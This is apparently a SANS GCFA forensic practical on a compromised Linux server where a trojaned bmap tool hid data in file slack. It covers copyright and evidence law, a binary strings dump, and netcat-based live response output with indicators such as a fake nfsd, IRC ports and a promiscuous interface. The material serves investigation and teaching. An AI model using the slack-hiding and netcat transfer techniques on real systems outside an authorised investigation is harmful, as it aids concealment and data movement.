(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;

(b) proceedings taken under section 44.1, 44.2 or 44.4; and

(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or

(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

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not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

**Criminal Remedies***

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

**Question. What would the appropriate steps be to take if you discovered this information on your systems?**

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of
(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or
(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of
(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.\(^\text{12}\)

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

\(^{12}\)“Criminal Code of Canada, Part XV, Special Procedure and Powers” S487 (1) a-d, (2.1) a-d, (2.2) a-c’,
## Appendices

### Appendix A

**Prog file strings listing**

`Strings dump – file prog, from Linux 7.3 VMWare workstation.`

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invalid index %d
invalid value for enum
usage: %s [OPTION]...
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Usage: %s [OPTION]...
Kevin Miller: Sans GCFA Assignment – v1.4

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operate on ...
progress
error
logging threshold ...
verbose
label
test for fragmentation
(retuns 0 if file is fragmented)
frag

test (returns 0 if exist)
display data
operation to perform on files
sgml
generate document ...
use block-list knowledge to perform special operations on files
off_t too small!
try '--help' for help.

07/15/03
how did we get here?

invalid option: %s
no filename. try '--help' for help.
%s is not a regular file.
Unable to determine blocks:
read error

target filename: %s
% has multiple links.
target file block size: %d
Unable to allocate buffer
nul block while mapping block %.d.
write error

% fragmented between %.d and %.d

getting from block %.d
block size: %.d

stuffing block %.d
% has slack
% has fragmentation

NULL value for slack_block
error getting block count
error mapping block %.d.
ioctl failed with %s
Unable to stat fd

file size was: %.ld
seek error

slack size: %.d
% File: %.d Location: %.ld
size: %.d
% does not have slack
bmap_get_slack_block

Unable to determine blocks:
mapping block %.lu
bmap_get_block_count

filesystem reports 0

Where &lt;bf&gt;OPTIONS&lt;/bf&gt; may include any of:
entryexit
info
none
be verbose
useless bogus option
outfile
display fragmentation
information for the file
print number of bytes
available
place data
list sector numbers
generate SGML invocation in:
display options and exit
version
next
main

validate option: %s
try '--help' for help.

 fungus: test frag

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gconv-modules =INTERNAL->ucs2reverse =ucs2reverse->INTERNAL =ucs2reverse->INTERNAL
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=ucs2->INTERNAL =utf8->INTERNAL = utf8->INTERNAL
=ucs4e->INTERNAL =utf8e->INTERNAL = utf8e->INTERNAL
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modules.cache gconv gconv_init gconv_end
toupper toulower
tolower
to alpha digit
xdigit space
graph blank
cntrl
punc
alnum
POSIX
/POSIX
LC_COLLATE
LC_MONETARY
LC_NUMERIC
LC_TIME
LC_MESSAGES
LC_ALL
LC_XXX
LANGUAGE
charset=
OUTPUT_CHARSET
parse error
parser stack overflow
plural=
(nil)
nplurals=
0123456789abcdefghijklmnopqrstuvwxyz
stuuvwxyz
%m/%d/%y
%Y-%m-%d
%H:%M %I:%M:%S $p
%H:%M:%S %p
%[^0-9,-]+\n%hu;%hu;%hu
POSIX
T2DIR
T2DIR
/proc/self/cwd
/proc
/proc
/etc/fstab
proc
meminfo
MemFree: %ld kB
/origin
PLATF0RM
/proc
processor
meminfo
MemTotal: %ld kB
/proc
/proc
/ /etc/mtab
/system search path
cannot map zero-fill pages
%)
file too short
invalid ELF header
ELF file OS ABI invalid
cannot create search list
cannot create search list
$(%s)
internal error
trying file=%s
find library=%s; searching
RPATH
cannot create cache for
cannot cannot create cache for
cannot create search path
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search path
file=%s; generating link map
ELF load command address/offset not properly aligned
cannot change memory protections
dynamic: 0x%0*1x base: 0x%0*1x size: 0x%0*2x
ELF file data encoding not big-endian
ELF file version does not match current one
cannot open shared object file
search cache=%s
undefined symbol:
binding file %s to %s: %s symbol %s!
with link time reference normal
DYNAMIC LINKER BUG!!!
error while loading shared libraries
gconv_trans_context gconv_trans
 gconv_trans_end LC_IDENTIFICATION
 gconv_trans_init
LC_ADDRESS LOC_PATH
LANG /SYS_
^[yY]
%a %b %H:%M:%S %Z %Y
December
November
September
August
June
April
February
January
Friday
Thursday
Tuesday
Monday
%p%t%m%f
%a%N%f%N%d%b%N%s %h %e
%r%N%e %T%Nc%N
i18n:1999
i18n:1999
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keld@dkuug.dk
Keld Simonsen
ISO/IEC 14652 i18n FDCC-set
ISO/IEC JTC1/SC22/WG20 - internationalization
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<td>cannot create scope list</td>
<td>Invalid mode for dlopen()</td>
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<tr>
<td>empty dynamic string token substitution</td>
<td>Opening file='%s'; opencount == %u</td>
</tr>
<tr>
<td>calling fini: %s</td>
<td>Cannot make segment writable for relocation</td>
</tr>
<tr>
<td>relocation processing: %s%</td>
<td>%s: Symbol `%s' has different size in shared object, consider re-linking</td>
</tr>
<tr>
<td>%s: profiler found no PLTREL in object %s</td>
<td>Shadowing PLTREL of %s</td>
</tr>
<tr>
<td>unexpected reloc type 0x</td>
<td>Unexpected PLT reloc type 0x</td>
</tr>
<tr>
<td>cannot load auxiliary `%s' because of empty dynamic string token substitution</td>
<td>Load auxiliary object='%s' requested by file='%s'</td>
</tr>
<tr>
<td>cannot allocate dependency list</td>
<td>Cannot allocate symbol</td>
</tr>
<tr>
<td>calling init: %s</td>
<td>Calling preinit: %s</td>
</tr>
<tr>
<td>no version information available (required by of Verdef record</td>
<td>Cannot allocate version reference table</td>
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<td>of Verneed record</td>
<td>Weak version ` '</td>
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Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
  -rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
  -rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
  -rwxr---r-- 1 root wheel 10364 May 29 2000 bclump.c
  -rwxr---r-- 1 root wheel 506 Jul 15 2003 bclump-involve.sgml
  -rwxr---r-- 1 root wheel 30824 Jul 15 2003 bclump.o
  -rwxr---r-- 1 root wheel 6616 Oct 17 2003 blocks
  -rwxr---r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
  -rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
  -rwxr---r-- 1 root wheel 13030 May 15 2000 bmap.c
  -rwxr---r-- 1 root wheel 1337 Jul 15 2003 bmap-involve.sgml
  -rwxr---r-- 1 root wheel 36376 Jul 15 2003 bmap.o
  -rwxr---r-- 1 root wheel 15603 Jul 15 2003 bmap.sgml
  -rwxr---r-- 1 root wheel 12811 May 29 2000 bmap.sgml.m4
  drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
  -rwxr---r-- 1 root wheel 824 May 15 2000 bmap.spec
  -rwxr---r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
  -rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap.strip.0715
  -rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap.striped
  -rw-r---r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
  -rw-r---r-- 1 root wheel 266 Jul 15 2003 config.h
  -rwxr---r-- 1 root wheel 18008 Mar 24 2000 COPYING
  -rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
  -rwxr---r-- 1 root wheel 1728 Feb 24 2000 dev_builder.c
  -rwxr---r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
  -rwxr---r-- 1 root wheel 113856 Jul 15 2003 dev_entries.o
  -rwxr---r-- 1 root wheel 0 Oct 17 2003 file_slack2
  drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
  -rwxr---r-- 1 root wheel 913 Feb 14 2000 index.html
  -rwxr---r-- 1 root wheel 8546 Apr 11 2000 libbmap.c
  -rwxr---r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
  -rwxr---r-- 1 root wheel 1322 Apr 14 2000 LICENSE
  -rwxr---r-- 1 root wheel 2049 Oct 17 2003 logfilebmap.out
  -rw-r---r-- 1 root wheel 546815 Oct 16 2003 lostfile1
  -rw-r---r-- 1 root wheel 0 Oct 17 2003 lostfilebmap.out
  -rw-r---r-- 1 root wheel 101375 Oct 16 2003 lostfile2
  -rw-r---r-- 1 root wheel 2392 Oct 17 2003 Makefile
  drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
  drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
  -rwxr---r-- 1 root wheel 54948 Oct 18 2003 prog.strings
  -rw-r---r-- 1 root wheel 6639 May 15 2000 README
  -rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
  -rwxr-xr-x 1 root wheel 8905 Apr 27 2000 slacker.c
  -rwxr-xr-x 1 root wheel 1029 Jul 15 2003 slacker-involve.sgml
  -rw-r---r-- 1 root wheel 5517 Mar 8 2000 slacker-modules.c
-rw-r--r-- 1 root wheel  2258 Apr 25 2000 log.h
-rw-r--r-- 1 root wheel  436 Mar  8 2000 mft.h
-rw-r--r-- 1 root wheel  2955 Mar 24 2000 option.h
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details.

Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership

1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.

2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.

3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.

4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information

1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.

2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.

3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.

4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.

5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the "Laptop Security Tips".

6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.

7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.

8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use

The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions

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<td>Spam</td>
<td>Unauthorized and/or unsolicited electronic mass mailings.</td>
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7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc  ls  date  w  netstat
ls  ps  lsmod  ifconfig  md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

The command “ls -l” is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-linux-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

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<th>Victim machine commands</th>
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<td>/mnt/floppy/sh</td>
<td>/mnt/floppy/date</td>
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<td>nc -l -v -n -p 1111 &gt; starttime.txt</td>
<td>/mnt/floppy/nc 192.168.1.120 l111</td>
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<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/w</td>
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Table 5 Live response command summary

The live response starts with the execution of a trusted shell using ‘/mnt/floppy/sh’. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation ‘nc’\(^{14}\) (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- ‘-l’ sets up netcat to listen for an incoming connection.
- ‘-v’ is verbose mode, connection information will be displayed.
- ‘-n’ do not do host or port name lookups.
- ‘-p <port>’ identifies the port netcat will listen on.

The victim machine commands are listed below:

- ‘date’ establishes the startdate for the live response.
- ‘w’ identifies who is logged onto the victim machine.
- ‘netstat -anp’ shows the internet sockets that are open on the victim.
- ‘lsmod’ shows what kernel modules are loaded.
- ‘lsmod’ command helps to identify backdoors and strange network services.
- ‘ps -auxw’ provides the current running processes.


• ‘netstat -anr’ displays the routing table.
• ‘ifconfig -a’ shows the configuration of the network interface(s).
• ‘ls -al /proc’ was missing ‘-R’. Without the ‘-R’ switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
• ‘date’ establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIPs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsol.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsol is shown below:

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<th>PID</th>
<th>User</th>
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Table 6. Suspicous events from lsof.txt

The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

“/usr/sbin/nfsd -f /sbin/sshd_config”

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a susipicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

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Table 7. Processes started on June 29, 2003

The lsmod.txt file was analysed to look at what kernel modules were loaded. A Module that required further investigation was nls_iso8859-1.

The netstat-routes.txt file showed no added routes. The ifconfig.txt file did show the eth0 interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the proc-filelist.txt file provided little benefit. The command used was a directory listing using ls –al of the /proc filesystem. The command should have included the command switch for recursive listing of the /proc file system, the correct command is ‘ls –alR’. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the *.txt files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

- nfsd
- popauth
- .s
- soundcore
- XXX.XXX.2.23
- 6660
- .x
- weit
- minilogd
- sshd_config
- nls_iso8859-1
- 6667
- services

The date of interest is June 29, 2003 and paths to investigate from live response output are:

/tmp/.s
Live response File listings

starttime.txt

Mon Jun 30 17:18:51 CST 2003

w.txt

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 7days 0.00s ? -
userid1 pts/1 - 23Jun03 38:58 0.22s 0.00s ls <defunct>
userid1 pts/2 - Fri 8am 4.00s 0.71s 0.01s /mnt/cdrom/nc 1
userid1 pts/3 - 4:44pm 38:14 0.15s 0.07s -bash

netsat-sockets.txt

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
tcp 0 0 0.0.0.0:199 0.0.0.0:* LISTEN 8154/snmpd
tcp 0 0 0.0.0:80 0.0.0.0:* LISTEN 8125/httpd
tcp 0 0 0.0.0:6000 0.0.0.0:* LISTEN 1066/X
tcp 0 0 0.0.0:18 0.0.0.0:* LISTEN 19811/nfsd
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN 842/ssh

Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State Path
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unix 2 [ ACC ] STREAM LISTENING 55128 19635/minilogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1704 1005/xfs /tmp/.font
unix 2 [ ACC ] STREAM LISTENING 2256 1192/artsd /tmp/mcop
unix 2 [ ACC ] STREAM LISTENING 1789 1066/X /tmp/.X11

user1/klauncherBcDBga.slave-socket

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user1/kdeinit:0
unix 2 [ ACC ] STREAM LISTENING 2158 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-1055392280
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unix 2 [ ACC ] STREAM LISTENING 2151 1175/kdeinit: Runni /tmp/ksocket-
user1/kdeinit:0
unix 2 [ ACC ] STREAM LISTENING 280021 6135/kdesud /tmp/ksocket-
user1/kdeinit:0
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popauth 19685 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
popauth 19685 root 6u sock 0,0 550563 can't identify protocol
popauth 19685 root 7r FIFO 0,5 551503 UDP *:3049
popauth 19685 root 8r FIFO 0,5 551503 TCP *:http (LISTEN)
popauth 19685 root 9w REG 3,6 265 44201 /var/log/httpd/access_log
popauth 19685 root 10w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
chmod 19796 root cwd DIR 3,5 1024 2/
chmod 19796 root rtd DIR 3,5 1024 2/
chmod 19796 root txt REG 3,5 30102 40980 /bin/chmod
chmod 19796 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
chmod 19796 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19796 root 0u sock 0,0 550563 can't identify protocol
chmod 19796 root 1u sock 0,0 550563 can't identify protocol
chmod 19796 root 2u sock 0,0 550563 can't identify protocol
chmod 19796 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem 
(changed)
chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem 
chmod 19796 root 6u sock 0,0 550563 'can't identify protocol' 
chmod 19796 root 7r DIR 3,5 1024 0 26691 /bin 
chmod 19796 root 9u REG 3,5 0 15635 /dev/hdx1 
chmod 19796 root 10u sock 0,0 552454 'can't identify protocol' 
chmod 19796 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log 
chmod 19796 root 16u IPv4 361623 TCP :https (LISTEN) 
chmod 19796 root 17u IPv4 361624 TCP :http (LISTEN) 

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 1368 432 ? S Jun23 0:05 init
root 2 0.0 0.0 0 0 ? SW Jun23 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SW Jun23 0:00 [kapmd]
